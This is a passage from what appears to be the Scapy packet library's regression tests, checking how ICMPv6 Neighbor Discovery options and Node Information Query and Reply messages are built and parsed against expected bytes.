b'\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11' ########### ICMPv6NDOptIPAddr Class (RFC 4068) ###################### + ICMPv6NDOptIPAddr Class Test (RFC 4068) = ICMPv6NDOptIPAddr - Basic Instantiation bytes(ICMPv6NDOptIPAddr()) == b'\x11\x03\x01@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptIPAddr - Instantiation with specific values bytes(ICMPv6NDOptIPAddr(len=5, optcode=0xff, plen=40, res=0xeeeeeeee, addr="ffff::1111")) == b'\x11\x05\xff(\xee\xee\xee\xee\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11' = ICMPv6NDOptIPAddr - Basic Dissection a=ICMPv6NDOptIPAddr(b'\x11\x03\x01@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.type == 17 and a.len == 3 and a.optcode == 1 and a.plen == 64 and a.res == 0 and a.addr == "::" = ICMPv6NDOptIPAddr - Dissection with specific values a=ICMPv6NDOptIPAddr(b'\x11\x05\xff(\xee\xee\xee\xee\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11') a.type == 17 and a.len == 5 and a.optcode == 0xff and a.plen == 40 and a.res == 0xeeeeeeee and a.addr == "ffff::1111" ########### ICMPv6NDOptNewRtrPrefix Class (RFC 4068) ################ + ICMPv6NDOptNewRtrPrefix Class Test (RFC 4068) = ICMPv6NDOptNewRtrPrefix - Basic Instantiation bytes(ICMPv6NDOptNewRtrPrefix()) == b'\x12\x03\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptNewRtrPrefix - Instantiation with specific values bytes(ICMPv6NDOptNewRtrPrefix(len=5, optcode=0xff, plen=40, res=0xeeeeeeee, prefix="ffff::1111")) == b'\x12\x05\xff(\xee\xee\xee\xee\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11' = ICMPv6NDOptNewRtrPrefix - Basic Dissection a=ICMPv6NDOptNewRtrPrefix(b'\x12\x03\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.type == 18 and a.len == 3 and a.optcode == 0 and a.plen == 64 and a.res == 0 and a.prefix == "::" = ICMPv6NDOptNewRtrPrefix - Dissection with specific values a=ICMPv6NDOptNewRtrPrefix(b'\x12\x05\xff(\xee\xee\xee\xee\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11') a.type == 18 and a.len == 5 and a.optcode == 0xff and a.plen == 40 and a.res == 0xeeeeeeee and a.prefix == "ffff::1111" ########### ICMPv6NDOptLLA Class (RFC 4068) ######################### + ICMPv6NDOptLLA Class Test (RFC 4068) = ICMPv6NDOptLLA - Basic Instantiation bytes(ICMPv6NDOptLLA()) == b'\x13\x01\x00\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptLLA - Instantiation with specific values bytes(ICMPv6NDOptLLA(len=2, optcode=3, lla="ff:11:ff:11:ff:11")) == b'\x13\x02\x03\xff\x11\xff\x11\xff\x11' = ICMPv6NDOptLLA - Basic Dissection a=ICMPv6NDOptLLA(b'\x13\x01\x00\x00\x00\x00\x00\x00\x00') a.type == 19 and a.len == 1 and a.optcode == 0 and a.lla == "00:00:00:00:00:00" = ICMPv6NDOptLLA - Dissection with specific values a=ICMPv6NDOptLLA(b'\x13\x02\x03\xff\x11\xff\x11\xff\x11') a.type == 19 and a.len == 2 and a.optcode == 3 and a.lla == "ff:11:ff:11:ff:11" ########### ICMPv6NDOptRouteInfo Class (RFC 4191) ################### + ICMPv6NDOptRouteInfo Class Test = ICMPv6NDOptRouteInfo - Basic Instantiation bytes(ICMPv6NDOptRouteInfo()) == b'\x18\x01\x00\x00\xff\xff\xff\xff' = ICMPv6NDOptRouteInfo - Instantiation with forced prefix but no length bytes(ICMPv6NDOptRouteInfo(prefix="2001:db8:1:1:1:1:1:1")) == b'\x18\x03\x00\x00\xff\xff\xff\xff \x01\r\xb8\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01' = ICMPv6NDOptRouteInfo - Instantiation with forced length values (1/4) bytes(ICMPv6NDOptRouteInfo(len=1, prefix="2001:db8:1:1:1:1:1:1")) == b'\x18\x01\x00\x00\xff\xff\xff\xff' = ICMPv6NDOptRouteInfo - Instantiation with forced length values (2/4) bytes(ICMPv6NDOptRouteInfo(len=2, prefix="2001:db8:1:1:1:1:1:1")) == b'\x18\x02\x00\x00\xff\xff\xff\xff \x01\r\xb8\x00\x01\x00\x01' = ICMPv6NDOptRouteInfo - Instantiation with forced length values (3/4) bytes(ICMPv6NDOptRouteInfo(len=3, prefix="2001:db8:1:1:1:1:1:1")) == b'\x18\x03\x00\x00\xff\xff\xff\xff \x01\r\xb8\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01' = ICMPv6NDOptRouteInfo - Instantiation with forced length values (4/4) bytes(ICMPv6NDOptRouteInfo(len=4, prefix="2001:db8:1:1:1:1:1:1")) == b'\x18\x04\x00\x00\xff\xff\xff\xff \x01\r\xb8\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptRouteInfo - Instantiation with specific values bytes(ICMPv6NDOptRouteInfo(len=6, plen=0x11, res1=1, prf=3, res2=1, rtlifetime=0x22222222, prefix="2001:db8::1")) == b'\x18\x06\x119"""" \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptRouteInfo - Basic dissection a=ICMPv6NDOptRouteInfo(b'\x18\x03\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.type == 24 and a.len == 3 and a.plen == 0 and a.res1 == 0 and a.prf == 0 and a.res2 == 0 and a.rtlifetime == 0xffffffff and a. prefix == "::" = ICMPv6NDOptRouteInfo - Dissection with specific values a=ICMPv6NDOptRouteInfo(b'\x18\x04\x119"""" \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') a.plen == 0x11 and a.res1 == 1 and a.prf == 3 and a.res2 == 1 and a.rtlifetime == 0x22222222 and a.prefix == "2001:db8::1" ########### ICMPv6NDOptMAP Class (RFC 4191) ################### + ICMPv6NDOptMAP Class Test = ICMPv6NDOptMAP - Basic Instantiation bytes(ICMPv6NDOptMAP()) == b'\x17\x03\x1f\x80\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptMAP - Instantiation with specific values bytes(ICMPv6NDOptMAP(len=5, dist=3, pref=10, R=0, res=1, validlifetime=0x11111111, addr="ffff::1111")) == b'\x17\x05:\x01\x11\x11\x11\x11\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11' = ICMPv6NDOptMAP - Basic Dissection a=ICMPv6NDOptMAP(b'\x17\x03\x1f\x80\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.type==23 and a.len==3 and a.dist==1 and a.pref==15 and a.R==1 and a.res==0 and a.validlifetime==0xffffffff and a.addr=="::" = ICMPv6NDOptMAP - Dissection with specific values a=ICMPv6NDOptMAP(b'\x17\x05:\x01\x11\x11\x11\x11\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11') a.type==23 and a.len==5 and a.dist==3 and a.pref==10 and a.R==0 and a.res==1 and a.validlifetime==0x11111111 and a.addr=="ffff::1111" ########### ICMPv6NDOptRDNSS Class (RFC5006) ######################## + ICMPv6NDOptRDNSS Class Test = ICMPv6NDOptRDNSS - Basic Instantiation bytes(ICMPv6NDOptRDNSS()) == b'\x19\x01\x00\x00\xff\xff\xff\xff' = ICMPv6NDOptRDNSS - Basic instantiation with 1 DNS address bytes(ICMPv6NDOptRDNSS(dns=["2001:db8::1"])) == b'\x19\x03\x00\x00\xff\xff\xff\xff \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = ICMPv6NDOptRDNSS - Basic instantiation with 2 DNS addresses bytes(ICMPv6NDOptRDNSS(dns=["2001:db8::1", "2001:db8::2"])) == b'\x19\x05\x00\x00\xff\xff\xff\xff \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02' = ICMPv6NDOptRDNSS - Instantiation with specific values bytes(ICMPv6NDOptRDNSS(len=43, res=0xaaee, lifetime=0x11111111, dns=["2001:db8::2"])) == b'\x19+\xaa\xee\x11\x11\x11\x11 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02' = ICMPv6NDOptRDNSS - Basic Dissection a=ICMPv6NDOptRDNSS(b'\x19\x01\x00\x00\xff\xff\xff\xff') a.type==25 and a.len==1 and a.res == 0 and a.dns==[] = ICMPv6NDOptRDNSS - Dissection (with 1 DNS address) a=ICMPv6NDOptRDNSS(b'\x19\x03\x00\x00\xff\xff\xff\xff \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') a.type==25 and a.len==3 and a.res ==0 and len(a.dns) == 1 and a.dns[0] == "2001:db8::1" = ICMPv6NDOptRDNSS - Dissection (with 2 DNS addresses) a=ICMPv6NDOptRDNSS(b'\x19\x05\xaa\xee\xff\xff\xff\xff \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02') a.type==25 and a.len==5 and a.res == 0xaaee and len(a.dns) == 2 and a.dns[0] == "2001:db8::1" and a.dns[1] == "2001:db8::2" ########### ICMPv6NDOptEFA Class (RFC5075) ########################## + ICMPv6NDOptEFA Class Test = ICMPv6NDOptEFA - Basic Instantiation bytes(ICMPv6NDOptEFA()) == b'\x1a\x01\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptEFA - Basic Dissection a=ICMPv6NDOptEFA(b'\x1a\x01\x00\x00\x00\x00\x00\x00') a.type==26 and a.len==1 and a.res == 0 ##################################################################### + Test Node Information Query - ICMPv6NIQueryNOOP = ICMPv6NIQueryNOOP - Basic Instantiation bytes(ICMPv6NIQueryNOOP(nonce=b"\x00"*8)) == b'\x8b\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6NIQueryNOOP - Basic Dissection a = ICMPv6NIQueryNOOP(b'\x8b\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.type == 139 and a.code == 1 and a.cksum == 0 and a.qtype == 0 and a.unused == 0 and a.flags == 0 and a.nonce == b"\x00"*8 and a.data == b"" ##################################################################### + Test Node Information Query - ICMPv6NIQueryName = ICMPv6NIQueryName - single label DNS name (internal) a=ICMPv6NIQueryName(data="abricot").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 1 and a[1] == b'\x07abricot\x00\x00' = ICMPv6NIQueryName - single label DNS name ICMPv6NIQueryName(data="abricot").data == b"abricot" = ICMPv6NIQueryName - fqdn (internal) a=ICMPv6NIQueryName(data="n.d.org").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 1 and a[1] == b'\x01n\x01d\x03org\x00' = ICMPv6NIQueryName - fqdn ICMPv6NIQueryName(data="n.d.org").data == b"n.d.org" = ICMPv6NIQueryName - IPv6 address (internal) a=ICMPv6NIQueryName(data="2001:db8::1").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 0 and a[1] == '2001:db8::1' = ICMPv6NIQueryName - IPv6 address ICMPv6NIQueryName(data="2001:db8::1").data == "2001:db8::1" = ICMPv6NIQueryName - IPv4 address (internal) a=ICMPv6NIQueryName(data="169.254.253.252").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 2 and a[1] == '169.254.253.252' = ICMPv6NIQueryName - IPv4 address ICMPv6NIQueryName(data="169.254.253.252").data == '169.254.253.252' ##################################################################### + Test Node Information Query - ICMPv6NIQueryIPv6 = ICMPv6NIQueryIPv6 - single label DNS name (internal) a=ICMPv6NIQueryIPv6(data="abricot").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 1 and a[1] == b'\x07abricot\x00\x00' = ICMPv6NIQueryIPv6 - single label DNS name ICMPv6NIQueryIPv6(data="abricot").data == b"abricot" = ICMPv6NIQueryIPv6 - fqdn (internal) a=ICMPv6NIQueryIPv6(data="n.d.org").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 1 and a[1] == b'\x01n\x01d\x03org\x00' = ICMPv6NIQueryIPv6 - fqdn ICMPv6NIQueryIPv6(data="n.d.org").data == b"n.d.org" = ICMPv6NIQueryIPv6 - IPv6 address (internal) a=ICMPv6NIQueryIPv6(data="2001:db8::1").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 0 and a[1] == '2001:db8::1' = ICMPv6NIQueryIPv6 - IPv6 address ICMPv6NIQueryIPv6(data="2001:db8::1").data == "2001:db8::1" = ICMPv6NIQueryIPv6 - IPv4 address (internal) a=ICMPv6NIQueryIPv6(data="169.254.253.252").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 2 and a[1] == '169.254.253.252' = ICMPv6NIQueryIPv6 - IPv4 address ICMPv6NIQueryIPv6(data="169.254.253.252").data == '169.254.253.252' ##################################################################### + Test Node Information Query - ICMPv6NIQueryIPv4 = ICMPv6NIQueryIPv4 - single label DNS name (internal) a=ICMPv6NIQueryIPv4(data="abricot").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 1 and a[1] == b'\x07abricot\x00\x00' = ICMPv6NIQueryIPv4 - single label DNS name ICMPv6NIQueryIPv4(data="abricot").data == b"abricot" = ICMPv6NIQueryIPv4 - fqdn (internal) a=ICMPv6NIQueryIPv4(data="n.d.org").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 1 and a[1] == b'\x01n\x01d\x03org\x00' = ICMPv6NIQueryIPv4 - fqdn ICMPv6NIQueryIPv4(data="n.d.org").data == b"n.d.org" = ICMPv6NIQueryIPv4 - IPv6 address (internal) a=ICMPv6NIQueryIPv4(data="2001:db8::1").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 0 and a[1] == '2001:db8::1' = ICMPv6NIQueryIPv4 - IPv6 address ICMPv6NIQueryIPv4(data="2001:db8::1").data == "2001:db8::1" = ICMPv6NIQueryIPv4 - IPv4 address (internal) a=ICMPv6NIQueryIPv4(data="169.254.253.252").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 2 and a[1] == '169.254.253.252' = ICMPv6NIQueryIPv4 - IPv4 address ICMPv6NIQueryIPv4(data="169.254.253.252").data == '169.254.253.252' ##################################################################### + Test Node Information Query - Flags tests = ICMPv6NIQuery* - flags handling (Test 1) t = ICMPv6NIQueryIPv6(flags="T") a = ICMPv6NIQueryIPv6(flags="A") c = ICMPv6NIQueryIPv6(flags="C") l = ICMPv6NIQueryIPv6(flags="L") s = ICMPv6NIQueryIPv6(flags="S") g = ICMPv6NIQueryIPv6(flags="G") all = ICMPv6NIQueryIPv6(flags="TALCLSG") t.flags == 1 and a.flags == 2 and c.flags == 4 and l.flags == 8 and s.flags == 16 and g.flags == 32 and all.flags == 63 = ICMPv6NIQuery* - flags handling (Test 2) t = bytes(ICMPv6NIQueryNOOP(flags="T", nonce="A"*8))[6:8] a = bytes(ICMPv6NIQueryNOOP(flags="A", nonce="A"*8))[6:8] c = bytes(ICMPv6NIQueryNOOP(flags="C", nonce="A"*8))[6:8] l = bytes(ICMPv6NIQueryNOOP(flags="L", nonce="A"*8))[6:8] s = bytes(ICMPv6NIQueryNOOP(flags="S", nonce="A"*8))[6:8] g = bytes(ICMPv6NIQueryNOOP(flags="G", nonce="A"*8))[6:8] all = bytes(ICMPv6NIQueryNOOP(flags="TALCLSG", nonce=b"A"*8))[6:8] t == b'\x00\x01' and a == b'\x00\x02' and c == b'\x00\x04' and l == b'\x00\x08' and s == b'\x00\x10' and g == b'\x00\x20' and all == b'\x00\x3F' = ICMPv6NIReply* - flags handling (Test 1) t = ICMPv6NIReplyIPv6(flags="T") a = ICMPv6NIReplyIPv6(flags="A") c = ICMPv6NIReplyIPv6(flags="C") l = ICMPv6NIReplyIPv6(flags="L") s = ICMPv6NIReplyIPv6(flags="S") g = ICMPv6NIReplyIPv6(flags="G") all = ICMPv6NIReplyIPv6(flags="TALCLSG") t.flags == 1 and a.flags == 2 and c.flags == 4 and l.flags == 8 and s.flags == 16 and g.flags == 32 and all.flags == 63 = ICMPv6NIReply* - flags handling (Test 2) t = bytes(ICMPv6NIReplyNOOP(flags="T", nonce=b"A"*8))[6:8] a = bytes(ICMPv6NIReplyNOOP(flags="A", nonce=b"A"*8))[6:8] c = bytes(ICMPv6NIReplyNOOP(flags="C", nonce=b"A"*8))[6:8] l = bytes(ICMPv6NIReplyNOOP(flags="L", nonce=b"A"*8))[6:8] s = bytes(ICMPv6NIReplyNOOP(flags="S", nonce=b"A"*8))[6:8] g = bytes(ICMPv6NIReplyNOOP(flags="G", nonce=b"A"*8))[6:8] all = bytes(ICMPv6NIReplyNOOP(flags="TALCLSG", nonce=b"A"*8))[6:8] t == b'\x00\x01' and a == b'\x00\x02' and c == b'\x00\x04' and l == b'\x00\x08' and s == b'\x00\x10' and g == b'\x00\x20' and all == b'\x00\x3F' = ICMPv6NIQuery* - Flags Default values a = ICMPv6NIQueryNOOP() b = ICMPv6NIQueryName() c = ICMPv6NIQueryIPv4() d = ICMPv6NIQueryIPv6() a.flags == 0 and b.flags == 0 and c.flags == 0 and d.flags == 62 = ICMPv6NIReply* - Flags Default values a = ICMPv6NIReplyIPv6() b = ICMPv6NIReplyName() c = ICMPv6NIReplyIPv6() d = ICMPv6NIReplyIPv4() e = ICMPv6NIReplyRefuse() f = ICMPv6NIReplyUnknown() a.flags == 0 and b.flags == 0 and c.flags == 0 and d.flags == 0 and e.flags == 0 and f.flags == 0 # Nonces # hashret and answers # payload guess # automatic destination address computation when integrated in scapy6 # at least computeNIGroupAddr ##################################################################### + Test Node Information Query - Dispatching = ICMPv6NIQueryIPv6 - dispatch with nothing in data s = bytes(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryIPv6()) p = IPv6(s) isinstance(p.payload, ICMPv6NIQueryIPv6) = ICMPv6NIQueryIPv6 - dispatch with IPv6 address in data s = bytes(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryIPv6(data="2001::db8::1")) p = IPv6(s) isinstance(p.payload, ICMPv6NIQueryIPv6) = ICMPv6NIQueryIPv6 - dispatch with IPv4 address in data s = bytes(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryIPv6(data="192.168.0.1")) p = IPv6(s) isinstance(p.payload, ICMPv6NIQueryIPv6) = ICMPv6NIQueryIPv6 - dispatch with name in data s = bytes(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryIPv6(data="alfred")) p = IPv6(s) isinstance(p.payload, ICMPv6NIQueryIPv6) = ICMPv6NIQueryName - dispatch with nothing in data s = bytes(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryName()) p = IPv6(s) isinstance(p.payload, ICMPv6NIQueryName) = ICMPv6NIQueryName - dispatch with IPv6 address in data s = bytes(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryName(data="2001:db8::1")) p = IPv6(s) isinstance(p.payload, ICMPv6NIQueryName) = ICMPv6NIQueryName - dispatch with IPv4 address in data s = bytes(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryName(data="192.168.0.1")) p = IPv6(s) isinstance(p.payload, ICMPv6NIQueryName) = ICMPv6NIQueryName - dispatch with name in data s = bytes(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryName(data="alfred")) p = IPv6(s) isinstance(p.payload, ICMPv6NIQueryName) = ICMPv6NIQueryIPv4 - dispatch with nothing in data s = bytes(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryIPv4()) p = IPv6(s) isinstance(p.payload, ICMPv6NIQueryIPv4) = ICMPv6NIQueryIPv4 - dispatch with IPv6 address in data s = bytes(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryIPv4(data="2001:db8::1")) p = IPv6(s) isinstance(p.payload, ICMPv6NIQueryIPv4) = ICMPv6NIQueryIPv4 - dispatch with IPv6 address in data s = bytes(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryIPv4(data="192.168.0.1")) p = IPv6(s) isinstance(p.payload, ICMPv6NIQueryIPv4) = ICMPv6NIQueryIPv4 - dispatch with name in data s = bytes(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryIPv4(data="alfred")) p = IPv6(s) isinstance(p.payload, ICMPv6NIQueryIPv4) = ICMPv6NIReplyName - dispatch s = bytes(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIReplyName()) p = IPv6(s) isinstance(p.payload, ICMPv6NIReplyName) = ICMPv6NIReplyIPv6 - dispatch s = bytes(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIReplyIPv6()) p = IPv6(s) isinstance(p.payload, ICMPv6NIReplyIPv6) = ICMPv6NIReplyIPv4 - dispatch s = bytes(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIReplyIPv4()) p = IPv6(s) isinstance(p.payload, ICMPv6NIReplyIPv4) = ICMPv6NIReplyRefuse - dispatch s = bytes(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIReplyRefuse()) p = IPv6(s) isinstance(p.payload, ICMPv6NIReplyRefuse) = ICMPv6NIReplyUnknown - dispatch s = bytes(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIReplyUnknown()) p = IPv6(s) isinstance(p.payload, ICMPv6NIReplyUnknown) ##################################################################### + Test Node Information Query - ICMPv6NIReplyNOOP = ICMPv6NIReplyNOOP - single DNS name without hint => understood as string (internal) a=ICMPv6NIReplyNOOP(data=b"abricot").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 0 and type(a[1]) is bytes and a[1] == b"abricot" = ICMPv6NIReplyNOOP - single DNS name without hint => understood as string ICMPv6NIReplyNOOP(data=b"abricot").data == b"abricot" = ICMPv6NIReplyNOOP - fqdn without hint => understood as string (internal) a=ICMPv6NIReplyNOOP(data=b"n.d.tld").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 0 and type(a[1]) is bytes and a[1] == b"n.d.tld" = ICMPv6NIReplyNOOP - fqdn without hint => understood as string ICMPv6NIReplyNOOP(data=b"n.d.tld").data == b"n.d.tld" = ICMPv6NIReplyNOOP - IPv6 address without hint => understood as string (internal) a=ICMPv6NIReplyNOOP(data=b"2001:0db8::1").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 0 and type(a[1]) is bytes and a[1] == b"2001:0db8::1" = ICMPv6NIReplyNOOP - IPv6 address without hint => understood as string ICMPv6NIReplyNOOP(data=b"2001:0db8::1").data == b"2001:0db8::1" = ICMPv6NIReplyNOOP - IPv4 address without hint => understood as string (internal) a=ICMPv6NIReplyNOOP(data=b"169.254.253.010").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 0 and type(a[1]) is bytes and a[1] == b"169.254.253.010" = ICMPv6NIReplyNOOP - IPv4 address without hint => understood as string ICMPv6NIReplyNOOP(data=b"169.254.253.010").data == b"169.254.253.010" ##################################################################### + Test Node Information Query - ICMPv6NIReplyName = ICMPv6NIReplyName - single label DNS name as a string (without ttl) (internal) a=ICMPv6NIReplyName(data=b"abricot").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 2 and type(a[1]) is list and len(a[1]) == 2 and a[1][0] == 0 and a[1][1] == b'\x07abricot\x00\x00' = ICMPv6NIReplyName - single label DNS name as a string (without ttl) ICMPv6NIReplyName(data="abricot").data == [0, b"abricot"] = ICMPv6NIReplyName - fqdn name as a string (without ttl) (internal) a=ICMPv6NIReplyName(data="n.d.tld").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 2 and type(a[1]) is list and len(a[1]) == 2 and a[1][0] == 0 and a[1][1] == b'\x01n\x01d\x03tld\x00' = ICMPv6NIReplyName - fqdn name as a string (without ttl) ICMPv6NIReplyName(data="n.d.tld").data == [0, b'n.d.tld'] = ICMPv6NIReplyName - list of 2 single label DNS names (without ttl) (internal) a=ICMPv6NIReplyName(data=["abricot", "poire"]).getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 2 and type(a[1]) is list and len(a[1]) == 2 and a[1][0] == 0 and a[1][1] == b'\x07abricot\x00\x00\x05poire\x00\x00' = ICMPv6NIReplyName - list of 2 single label DNS names (without ttl) ICMPv6NIReplyName(data=["abricot", "poire"]).data == [0, b"abricot", b"poire"] = ICMPv6NIReplyName - [ttl, single-label, single-label, fqdn] (internal) a=ICMPv6NIReplyName(data=[42, b"abricot", b"poire", b"n.d.tld"]).getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 2 and type(a[1]) is list and len(a[1]) == 2 and a[1][0] == 42 and a[1][1] == b'\x07abricot\x00\x00\x05poire\x00\x00\x01n\x01d\x03tld\x00' = ICMPv6NIReplyName - [ttl, single-label, single-label, fqdn] ICMPv6NIReplyName(data=[42, b"abricot", b"poire", b"n.d.tld"]).data == [42, b"abricot", b"poire", b"n.d.tld"] ##################################################################### + Test Node Information Query - ICMPv6NIReplyIPv6 = ICMPv6NIReplyIPv6 - one IPv6 address without TTL (internal) a=ICMPv6NIReplyIPv6(data=b"2001:db8::1").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 3 and type(a[1]) is list and len(a[1]) == 1 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 0 and a[1][0][1] == b"2001:db8::1" = ICMPv6NIReplyIPv6 - one IPv6 address without TTL ICMPv6NIReplyIPv6(data=b"2001:db8::1").data == [(0, b'2001:db8::1')] = ICMPv6NIReplyIPv6 - one IPv6 address without TTL (as a list) (internal) a=ICMPv6NIReplyIPv6(data=[b"2001:db8::1"]).getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 3 and type(a[1]) is list and len(a[1]) == 1 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 0 and a[1][0][1] == b"2001:db8::1" = ICMPv6NIReplyIPv6 - one IPv6 address without TTL (as a list) ICMPv6NIReplyIPv6(data=[b"2001:db8::1"]).data == [(0, b'2001:db8::1')] = ICMPv6NIReplyIPv6 - one IPv6 address with TTL (internal) a=ICMPv6NIReplyIPv6(data=[(0, b"2001:db8::1")]).getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 3 and type(a[1]) is list and len(a[1]) == 1 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 0 and a[1][0][1] == b"2001:db8::1" = ICMPv6NIReplyIPv6 - one IPv6 address with TTL ICMPv6NIReplyIPv6(data=[(0, b"2001:db8::1")]).data == [(0, b'2001:db8::1')] = ICMPv6NIReplyIPv6 - two IPv6 addresses as a list of strings (without TTL) (internal) a=ICMPv6NIReplyIPv6(data=[b"2001:db8::1", b"2001:db8::2"]).getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 3 and type(a[1]) is list and len(a[1]) == 2 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 0 and a[1][0][1] == b"2001:db8::1" and len(a[1][1]) == 2 and a[1][1][0] == 0 and a[1][1][1] == b"2001:db8::2" = ICMPv6NIReplyIPv6 - two IPv6 addresses as a list of strings (without TTL) ICMPv6NIReplyIPv6(data=[b"2001:db8::1", b"2001:db8::2"]).data == [(0, b'2001:db8::1'), (0, b'2001:db8::2')] = ICMPv6NIReplyIPv6 - two IPv6 addresses as a list (first with ttl, second without) (internal) a=ICMPv6NIReplyIPv6(data=[(42, "2001:db8::1"), "2001:db8::2"]).getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 3 and type(a[1]) is list and len(a[1]) == 2 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 42 and a[1][0][1] == "2001:db8::1" and len(a[1][1]) == 2 and a[1][1][0] == 0 and a[1][1][1] == "2001:db8::2" = ICMPv6NIReplyIPv6 - two IPv6 addresses as a list (first with ttl, second without) ICMPv6NIReplyIPv6(data=[(42, "2001:db8::1"), "2001:db8::2"]).data == [(42, "2001:db8::1"), (0, "2001:db8::2")] ##################################################################### + Test Node Information Query - ICMPv6NIReplyIPv4 = ICMPv6NIReplyIPv4 - one IPv4 address without TTL (internal) a=ICMPv6NIReplyIPv4(data="169.254.253.252").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 4 and type(a[1]) is list and len(a[1]) == 1 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 0 and a[1][0][1] == "169.254.253.252" = ICMPv6NIReplyIPv4 - one IPv4 address without TTL ICMPv6NIReplyIPv4(data="169.254.253.252").data == [(0, 